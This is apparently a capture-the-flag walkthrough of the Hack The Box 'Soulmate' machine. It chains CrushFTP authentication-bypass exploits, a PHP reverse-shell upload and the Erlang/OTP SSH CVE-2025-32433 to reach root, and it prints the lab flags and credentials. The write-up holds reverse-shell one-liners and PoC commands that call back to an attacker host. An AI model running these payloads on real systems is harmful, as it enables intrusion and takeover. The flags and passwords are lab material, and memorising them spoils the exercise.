Soulmate [Easy]
Soulmate HTB Release Area Machine
Machine information
Author: kavigihan
Enumeration
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ sudo nmap -Pn -sC -sV 10.129.172.38
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-07 10:56 EDT
Nmap scan report for 10.129.172.38
Host is up (0.60s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.60 seconds
Add these to /etc/hosts
file:
1
10.129.172.38 soulmate.htb
Let’s check the web server.
Web Enumeration
Go to http://soulmate.htb
.
So this website is about finding your perfect match :D.
Let’s scanning first if we can find some endpoints and have some basic overview of this website.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
└─$ dirsearch -u http://soulmate.htb/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/HTB_Labs/Release_Arena_Machine/Soulmate/reports/http_soulmate.htb/__25-09-07_11-29-34.txt
Target: http://soulmate.htb/
[11:29:34] Starting:
[11:30:16] 403 - 564B - /assets/
[11:30:16] 301 - 178B - /assets -> http://soulmate.htb/assets/
[11:30:27] 302 - 0B - /dashboard.php -> /login
[11:30:46] 200 - 8KB - /login.php
[11:30:47] 302 - 0B - /logout.php -> login.php
[11:31:04] 302 - 0B - /profile.php -> /login
[11:31:07] 200 - 11KB - /register.php
Task Completed
It got register, login and even profile and dashboard.
→ Let’s register with new user.
Looking at the register.php
, we can see that there is upload function where we can upload our photo but this one is optional but we will go for it and capture with our burpsuit.
Now let’s login.
So we are in the profile.php
and there is nothing much we can do then leverage the upload Profile Picture
function.
But after goind around and back to the profile page, the profile picture disappear and our information for register gone.
Also we can see the memeber is marked since Jan 1970
, that date I was not born yet :)))).
So we gonna try to use this upload function to rce so that we can have some initial footage inside to go furthere more.
LFI to RCE
We are using this methodologies from file-upload to see if we can rce this website.
After upload the shell.gif
then open the image in new tab and add &cmd=id
to see if we can got the response.
So we got 404 Not Found
and we can see that the name of the file has been changed to some random number so we can not exploit this way.
→ We need to find other way so we back to recon and start subdomain finding.
Subdomain Fuzzing & Discovery
We gonna do it with gobuster.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
└─$ gobuster vhost -u http://soulmate.htb/ -w /usr/share/wordlists/seclists/Discovery/DNS/combined_subdomains.txt --append-domain -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://soulmate.htb/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/combined_subdomains.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: ftp.soulmate.htb Status: 302 [Size: 0] [--> /WebInterface/login.html]
Progress: 653920 / 653921 (100.00%)
===============================================================
Finished
===============================================================
After waiting, we found out another subdomain ftp
.
→ Add it to /etc/hosts
.
1
10.129.172.38 soulmate.htb ftp.soulmate.htb
Go to http://ftp.soulmate.htb
.
So we got redirected to http://ftp.soulmate.htb/WebInterface/login.html
and it named as CrushFTP
.
Since we do not have any credentials yet so we gonna search for related cve or public exploit based on the name.
But the things is we need to know the version cause searching CrushFTP
is huge.
→ Let’s view page source if we can seek for some version info.
At the bottom, we found this /WebInterface/new-ui/sw.js?v=11.W.657-2025_03_08_07_52
which it could be the version of the current CrushFTP
is using which is 11.W.657
.
→ Let’s searching out for cve or related exploit.
After a while, we found like some cve that we can use and modified for our target which are CVE-2025-54309, CVE-2025-31161 and CVE-2025-2825.
But it seems like the CVE-2025-2825
is marked as rejected cause it was replicated as CVE-2025-31161
so we only got two valid cve left.
→ Let’s go with the CVE-2025-54309.
CVE-2025-54309
We found out this article talking about zero day in crushftp which is wild crushftp-zero-day-exploited-in-the-wild and that was just few month ago only.
From this CompromiseJuly2025 advisory and GHSA-rh5q-v9ww-rqgm to see the description of the vulnerabilities.
→ To understand more about this cve, we found this the-one-where-we-just-steal-the-vulnerabilities-crushftp-cve-2025-54309 where we can briefly go through how it got exploited and how it working out. This one also provide watchTowr-vs-CrushFTP-Authentication-Bypass-CVE-2025-54309 so we gonna use this to exploit our target.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
└─$ python3 watchTowr-vs-CrushFTP-CVE-2025-54309.py http://ftp.soulmate.htb
/home/kali/HTB_Labs/Release_Arena_Machine/Soulmate/watchTowr-vs-CrushFTP-CVE-2025-54309.py:59: SyntaxWarning: invalid escape sequence '\c'
"AS2-TO": "\crushadmin",
[*] Generated new c2f value: YuwM
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-CrushFTP-CVE-2025-54309.py
(*) CrushFTP Authentication Bypass Race Condition PoC
- Sonny , watchTowr (sonny@watchTowr.com)
CVEs: [CVE-2025-54309]
[*] CRUSHFTP RACE CONDITION POC
[*] TARGET: http://ftp.soulmate.htb
[*] ENDPOINT: CrushFTP WebInterface getUserList
[*] ATTACK: 5000 requests with new c2f every 50 requests
============================================================
Starting race with 5000 request pairs...
============================================================
[*] Generated new c2f value: UtmL
[*] NEW SESSION: c2f=UtmL
[*] PROGRESS: 50/5000 request pairs completed...
[*] Generated new c2f value: Vy6w
[*] NEW SESSION: c2f=Vy6w
[*] PROGRESS: 100/5000 request pairs completed...
[*] Generated new c2f value: rujb
[*] NEW SESSION: c2f=rujb
[*] PROGRESS: 150/5000 request pairs completed...
[*] Generated new c2f value: SzDm
[*] NEW SESSION: c2f=SzDm
[*] PROGRESS: 200/5000 request pairs completed...
[*] Generated new c2f value: 3aCk
[*] NEW SESSION: c2f=3aCk
[*] PROGRESS: 250/5000 request pairs completed...
[*] Generated new c2f value: abom
[*] NEW SESSION: c2f=abom
[*] PROGRESS: 300/5000 request pairs completed...
[*] Generated new c2f value: V1r0
[*] NEW SESSION: c2f=V1r0
[*] PROGRESS: 350/5000 request pairs completed...
[*] Generated new c2f value: Cyqd
[*] NEW SESSION: c2f=Cyqd
[*] PROGRESS: 400/5000 request pairs completed...
[*] Generated new c2f value: oOEc
[*] NEW SESSION: c2f=oOEc
[*] PROGRESS: 450/5000 request pairs completed...
[*] Generated new c2f value: K1mE
[*] NEW SESSION: c2f=K1mE
[*] PROGRESS: 500/5000 request pairs completed...
[*] Generated new c2f value: DP9l
[*] NEW SESSION: c2f=DP9l
[*] PROGRESS: 550/5000 request pairs completed...
[*] Generated new c2f value: GiZ8
[*] NEW SESSION: c2f=GiZ8
[*] PROGRESS: 600/5000 request pairs completed...
[*] Generated new c2f value: tgjC
[*] NEW SESSION: c2f=tgjC
[*] EXFILTRATED 5 USERS: ben, crushadmin, default, jenna, TempAccount
[*] VULNERABLE! RACE CONDITION POSSIBLE!
So this one got vulnerable and we know that this cve is about CrushFTP Authentication Bypass Race Condition
so as the attacker can bypass the authentication via race condition to exfiltrated some users that we got from the output.
Here is the things, we got to know that those users are available in ftp.soulmate.htb
but how can we login like there is not password and this script just only list users only.
→ After searching more, we found out another one CVE-2025-3116 from Immersive-Labs-Sec giving a poc that can exploit and able to create a new user with admin privileges and it also mention CVE-2025-2825 and also found out CVE-2025-2825-CrushFTP-AuthBypass another poc for exploit and to understand more, we can check out this crushftp-authentication-bypass.
We will go with CVE-2025-3116 this one.
CVE-2025-31161/CVE-2025-2825
So we gonna target user ben
and then create new user 2fa0n
.
1
2
3
4
5
6
7
8
└─$ python3 cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --target_user ben --new_user 2fa0n --password 2fa0n
[+] Preparing Payloads
[-] Warming up the target
[+] Sending Account Create Request
[!] User created successfully
[+] Exploit Complete you can now login with
[*] Username: 2fa0n
[*] Password: 2fa0n.
Let’s login with our new user to see if it works.
We are in and notice on the top left side corner, there is Admin
which means that we have admin permissions level, let’s check it out.
Okay, we are in the admin dashboard, going through some stuffs and found out User Manager
quite interesting.
So we are able to control these users, the things is we can also change these users password.
Sounds fun here through. Let’s target to change ben
password and then login again with this user.
After changing, there will be popup for new password has been changed.
→ Save it and login back as ben
.
1
Username : ben Password : XUZ77m
We are in ben
session now, here we go!
And we got some more stuffs appear like webProd
, IT
and ben
directory but seems like we can not grab the user.txt
flag but we can download all the stuffs and checking it.
Seems like nothing much to do with these stuffs, but then when we click the webProd
directory.
We found out there is Upload
button where we can upload file into it. Same with ben
directory as well.
→ So we gonna leverage this point to upload a reverse shell and setup our listener to catch it.
PHP Reverse Shell
We gonna craft a simple php file to execute bash shell command.
1
2
# soul.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.17/3333 0>&1'"); ?>
Then we upload it.
Setup our listener.
1
2
3
└─$ penelope -p 3333
[+] Listening for reverse shells on 0.0.0.0:3333 → 127.0.0.1 • 172.16.147.139 • 172.17.0.1 • 10.10.16.17
- 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
From the upload path, we can see that it was /webProd/soul.php
which means it only the main website soulmate.htb
.
→ Let’s check it out http://soulmate.htb/soul.php
.
1
2
3
4
5
6
7
8
9
10
└─$ penelope -p 3333
[+] Listening for reverse shells on 0.0.0.0:3333 → 127.0.0.1 • 172.16.147.139 • 172.17.0.1 • 10.10.16.17
- 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from soulmate~10.129.172.38-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/kali/.penelope/soulmate~10.129.172.38-Linux-x86_64/2025_09_08-06_08_05-393.log 📜
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
www-data@soulmate:~/soulmate.htb/public$
There we go, got into our shell as www-data
. But our goal is ben
so we can escalated more to root
.
→ Let’s recon around to see if we can find any usefull informations.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
www-data@soulmate:~/soulmate.htb/config$ cat config.php
<?php
class Database {
private $db_file = '../data/soulmate.db';
private $pdo;
public function __construct() {
$this->connect();
$this->createTables();
}
private function connect() {
try {
// Create data directory if it doesn't exist
$dataDir = dirname($this->db_file);
if (!is_dir($dataDir)) {
mkdir($dataDir, 0755, true);
}
$this->pdo = new PDO('sqlite:' . $this->db_file);
$this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$this->pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
} catch (PDOException $e) {
die("Connection failed: " . $e->getMessage());
}
}
private function createTables() {
$sql = "
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
password TEXT NOT NULL,
is_admin INTEGER DEFAULT 0,
name TEXT,
bio TEXT,
interests TEXT,
phone TEXT,
profile_pic TEXT,
last_login DATETIME,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
)";
$this->pdo->exec($sql);
// Create default admin user if not exists
$adminCheck = $this->pdo->prepare("SELECT COUNT(*) FROM users WHERE username = ?");
$adminCheck->execute(['admin']);
if ($adminCheck->fetchColumn() == 0) {
$adminPassword = password_hash('Crush4dmin990', PASSWORD_DEFAULT);
$adminInsert = $this->pdo->prepare("
INSERT INTO users (username, password, is_admin, name)
VALUES (?, ?, 1, 'Administrator')
");
$adminInsert->execute(['admin', $adminPassword]);
}
}
public function getConnection() {
return $this->pdo;
}
}
// Helper functions
function redirect($path) {
header("Location: $path");
exit();
}
function isLoggedIn() {
return isset($_SESSION['user_id']);
}
function isAdmin() {
return isset($_SESSION['is_admin']) && $_SESSION['is_admin'] == 1;
}
function requireLogin() {
if (!isLoggedIn()) {
redirect('/login');
}
}
function requireAdmin() {
requireLogin();
if (!isAdmin()) {
redirect('/profile');
}
}
?>
We found out a config.php
that contains the password for admin → Crush4dmin990
.
→ Let’s login it and see what else can we do.
Seems like there is nothing to do from admin so we gonna keep recon.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
www-data@soulmate:~$ netstat -tunlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:9090 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:4369 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:39417 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:2222 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1195/nginx: worker
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:34203 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN 1195/nginx: worker
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 ::1:4369 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
There is port 2222
which is non-standard port which can config and the 22
is the standard port.
Some port is weird and searching out and know that 4369
is used by EPMD (Erlang Port Mapper Daemon) which is a peer discovery service used by RabbitMQ nodes and CLI tools.
→ So we have more information that this one use some non-standart port 2222
and using Erlang
, let’s recon more if we can find something related to these.
Erlang
1
2
3
4
5
6
7
www-data@soulmate:/usr/local/lib$ ls -la
total 20
drwxr-xr-x 5 root root 4096 Aug 14 14:12 .
drwxr-xr-x 10 root root 4096 Feb 17 2023 ..
drwxr-xr-x 8 root root 4096 Aug 6 10:44 erlang
drwxr-xr-x 2 root root 4096 Aug 15 07:46 erlang_login
drwxr-xr-x 3 root root 4096 Feb 17 2023 python3.10
Found out there is Erlang
application so there maybe chance the 2222
is custom Erlang-based authentication service or like SSH service with Erlang integration.
→ Let’s testing the connection.
1
2
3
4
5
www-data@soulmate:/usr/local/bin$ telnet 127.0.0.1 2222
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
SSH-2.0-Erlang/5.2.9
So we got SSH-2.0-Erlang/5.2.9
which is SSH Service run on port 2222
and the special thing is that it was implemented by Erlang
.
→ Checking out /erlang_login
.
1
2
3
4
5
6
www-data@soulmate:/usr/local/lib/erlang_login$ ls -la
total 16
drwxr-xr-x 2 root root 4096 Aug 15 07:46 .
drwxr-xr-x 5 root root 4096 Aug 14 14:12 ..
-rwxr-xr-x 1 root root 1570 Aug 14 14:12 login.escript
-rwxr-xr-x 1 root root 1427 Aug 15 07:46 start.escript
There are 2 scripts that one of them may contain credentials.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
www-data@soulmate:/usr/local/lib/erlang_login$ cat login.escript
#!/usr/bin/env escript
%%! -noshell
main(_) ->
%% Start required OTP apps safely
start_app(crypto),
start_app(asn1),
start_app(public_key),
start_app(ssh),
%% Fetch environment vars safely
User = safe_env("USER"),
Conn = safe_env("SSH_CONNECTION"),
Tty = safe_env("SSH_TTY"),
Host = safe_env("HOSTNAME"),
%% Build log line
LogLine = io_lib:format("login user=~s from=~s tty=~s host=~s~n",
[User, Conn, Tty, Host]),
%% Log to syslog
os:cmd("logger -t erlang_login " ++ lists:flatten(LogLine)),
%% Log to a flat file
ensure_logdir(),
file:write_file("/var/log/erlang_login/session.log",
LogLine,
[append]),
%% Exit cleanly
halt(0).
%% Utility to start app if not already running
start_app(App) ->
Apps = application:which_applications(),
case lists:keyfind(App, 1, Apps) of
false ->
case application:start(App) of
ok -> ok;
{error, {already_started, _}} -> ok;
{error, Reason} ->
io:format("Warning: cannot start ~p: ~p~n", [App, Reason])
end;
_ -> ok
end.
safe_env(Var) ->
case os:getenv(Var) of
false -> "unknown";
Val when is_list(Val) -> Val;
Val when is_binary(Val) -> binary_to_list(Val)
end.
ensure_logdir() ->
case file:read_file_info("/var/log/erlang_login") of
{ok,_} -> ok;
_ -> file:make_dir("/var/log/erlang_login")
end,
ok.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
www-data@soulmate:/usr/local/lib/erlang_login$ cat start.escript
#!/usr/bin/env escript
%%! -sname ssh_runner
main(_) ->
application:start(asn1),
application:start(crypto),
application:start(public_key),
application:start(ssh),
io:format("Starting SSH daemon with logging...~n"),
case ssh:daemon(2222, [
{ip, {127,0,0,1}},
{system_dir, "/etc/ssh"},
{user_dir_fun, fun(User) ->
Dir = filename:join("/home", User),
io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
filename:join(Dir, ".ssh")
end},
{connectfun, fun(User, PeerAddr, Method) ->
io:format("Auth success for user: ~p from ~p via ~p~n",
[User, PeerAddr, Method]),
true
end},
{failfun, fun(User, PeerAddr, Reason) ->
io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
[User, PeerAddr, Reason]),
true
end},
{auth_methods, "publickey,password"},
{user_passwords, [{"ben", "HouseH0ldings998"}]},
{idle_time, infinity},
{max_channels, 10},
{max_sessions, 10},
{parallel_login, true}
]) of
{ok, _Pid} ->
io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
{error, Reason} ->
io:format("Failed to start SSH daemon: ~p~n", [Reason])
end,
receive
stop -> ok
end.
JACKPOT! We found a hardcoded credentials in start.escript
.
1
{user_passwords, [{"ben", "HouseH0ldings998"}]}
Let’s ssh
with normal port first.
1
2
3
4
└─$ ssh ben@10.129.127.216
ben@10.129.127.216's password:
Last login: Tue Sep 9 03:40:53 2025 from 10.10.16.17
ben@soulmate:~$
1
2
3
4
5
6
7
8
9
10
11
12
ben@soulmate:~$ ls -la
total 28
drwxr-x--- 3 ben ben 4096 Sep 2 10:27 .
drwxr-xr-x 3 root root 4096 Sep 2 10:27 ..
lrwxrwxrwx 1 root root 9 Aug 27 09:28 .bash_history -> /dev/null
-rw-r--r-- 1 ben ben 220 Aug 6 10:17 .bash_logout
-rw-r--r-- 1 ben ben 3771 Aug 6 10:17 .bashrc
drwx------ 2 ben ben 4096 Sep 2 10:27 .cache
-rw-r--r-- 1 ben ben 807 Aug 6 10:17 .profile
-rw-r----- 1 root ben 33 Sep 9 03:24 user.txt
ben@soulmate:~$ cat user.txt
2a292f69fd92952b38af8ec0f6415878
Grab our user.txt
flag.
Initial Access
So we are in ben
and discovery out some recon.
Discovery
1
2
3
ben@soulmate:~$ sudo -l
[sudo] password for ben:
Sorry, user ben may not run sudo on soulmate.
So our user does not have permissions to run sudo
.
→ Let’s back to www-data
session or we can ssh with port 2222
in ben
session to see what happen.
1
2
3
4
www-data@soulmate:/usr/local/lib/erlang_login$ ssh ben@localhost -p 2222
ben@localhost's password:
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1>
We are in Eshell
so to use the command, we can check out by typing help().
→ Let’s searching out for public cve or related exploitation.
From this SSH Release Notes, we found out CVE-2025-32433 by exploiting a flaw in SSH protocol message handling that have attacker gain RCE.
CVE-2025-32433
Checking out the advisory related Unauthenticated Remote Code Execution in Erlang/OTP SSH and we also found out blog rce-vulnerability-erlang-otp that we can have a look at it.
We searching more and got CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC and if we want to know more about how this Poc establish, we can go through CVE-2025-32433-poc blog.
→ Let’s exploit it out.
First we gonna download the python script and setup our python server and then transfer it to target machine via wget
.
Then we will escalated with these command and option.
1
2
3
4
5
6
7
8
9
www-data@soulmate:/tmp$ python3 cve-2025-32433.py 127.0.0.1 -p 2222 --shell --lhost 10.10.16.17 --lport 4444
[*] Target: 127.0.0.1:2222
[*] Sending reverse shell to connect back to 10.10.16.17:4444
[*] Connecting to target...
[+] Received banner: SSH-2.0-Erlang/5.2.9
Fɍ >\ 5curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,ext-info-s,kex-strict-s-v00@openssh.com9ssh-ed25519,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256aes256-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-gcm@openssh.com,aes128-ctr,chacha20-poly1305@openssh.com,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbcaes256-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-gcm@openssh.com,aes128-ctr,chacha20-poly1305@openssh.com,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc{hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1-etm@openssh.com,hmac-sha1{hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1-etm@openssh.com,hmac-sha1▒none,zlib@openssh.com,zlib▒none,zlib@openssh.com,zlib
[+] Running command: os:cmd("bash -c 'exec 5<>/dev/tcp/10.10.16.17/4444; cat <&5 | while read line; do $line 2>&5 >&5; done'").
[✓] Exploit sent. If vulnerable, command should execute.
[+] Reverse shell command sent. Check your listener.
Checking back the listener does not have any response.
→ So we modified the command abit.
Privilege Escalation
We gonna update this part.
1
[+] Running command: os:cmd("bash -c 'exec 5<>/dev/tcp/10.10.16.17/4444; cat <&5 | while read line; do $line 2>&5 >&5; done'").
By using busybox as this binary is not always restricted by other binary.
1
os:cmd("busybox nc 10.10.16.17 4444 -e /bin/bash")
CVE-2025-32433 (modified script)
1
2
3
4
5
6
7
8
www-data@soulmate:/tmp$ python3 cve-2025-32433.py 127.0.0.1 -p 2222 --shell --lhost 10.10.16.17 --lport 4444
[*] Target: 127.0.0.1:2222
[*] Sending reverse shell to connect back to 10.10.16.17:4444
[*] Connecting to target...
[+] Received banner: SSH-2.0-Erlang/5.2.9
[+] Running command: os:cmd("busybox nc 10.10.16.17 4444 -e /bin/bash").
[✓] Exploit sent. If vulnerable, command should execute.
[+] Reverse shell command sent. Check your listener.
1
2
3
4
5
6
7
8
9
10
11
└─$ penelope -p 4444
[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 172.16.147.139 • 172.17.0.1 • 10.10.16.17
- 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from soulmate~10.129.172.38-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/kali/.penelope/soulmate~10.129.172.38-Linux-x86_64/2025_09_08-06_49_57-849.log 📜
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
root@soulmate:/# id
uid=0(root) gid=0(root) groups=0(root)
There we go, got ourselves as root
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@soulmate:~# ls -al
total 52
drwx------ 7 root root 4096 Sep 7 14:53 .
drwxr-xr-x 18 root root 4096 Sep 2 10:27 ..
lrwxrwxrwx 1 root root 9 Aug 27 09:28 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
drwx------ 2 root root 4096 Apr 27 2023 .cache
drwxr-xr-x 3 root root 4096 Aug 6 10:18 .config
-r-------- 1 root root 20 Aug 6 00:00 .erlang.cookie
drwxr-xr-x 3 root root 4096 Apr 27 2023 .local
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw-r----- 1 root root 33 Sep 7 14:53 root.txt
drwxr-xr-x 3 root root 4096 Aug 19 11:21 scripts
-rw-r--r-- 1 root root 66 Aug 12 08:38 .selected_editor
lrwxrwxrwx 1 root root 9 Aug 19 12:17 .sqlite_history -> /dev/null
drwx------ 2 root root 4096 Aug 6 10:57 .ssh
-rw-r--r-- 1 root root 165 Aug 27 09:28 .wget-hsts
root@soulmate:~# cat root.txt
ca8e12f4dc5f672026d9a333fe592bb4
Nailed the root.txt
flag.
Here is the point, we can either exploit straightforward from www-data
to root
by running CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC and grab user.txt
and root.txt
at the same time.
So that fact that escalated from www-data
to ben
is not much so we thinking that the result from this script performs should only rce the container of the target so that from the container footage, we can escalated more to root
which is way more better.
If we go from ben
session, we can just using simple command that we can take a look at cve-2025-32433-erlang-otp-ssh-server-rce.
1
os:cmd("bash -c 'bash -i >& /dev/tcp/10.10.16.17/4444 0>&1'").
Let’s run it out.
1
(ssh_runner@soulmate)2> os:cmd("bash -c 'bash -i >& /dev/tcp/10.10.16.17/4444 0>&1'").
1
2
3
4
5
6
7
8
9
10
└─$ penelope -p 4444
[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 172.16.147.139 • 172.17.0.1 • 10.10.16.17
- 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from soulmate~10.129.127.216-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/kali/.penelope/soulmate~10.129.127.216-Linux-x86_64/2025_09_09-00_02_50-913.log 📜
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
root@soulmate:/#
We also got our connection back as root
and nailed the root.txt
flag.
Or we can even cat
the flag straight from the command.
1
os:cmd("cat /root/root.txt").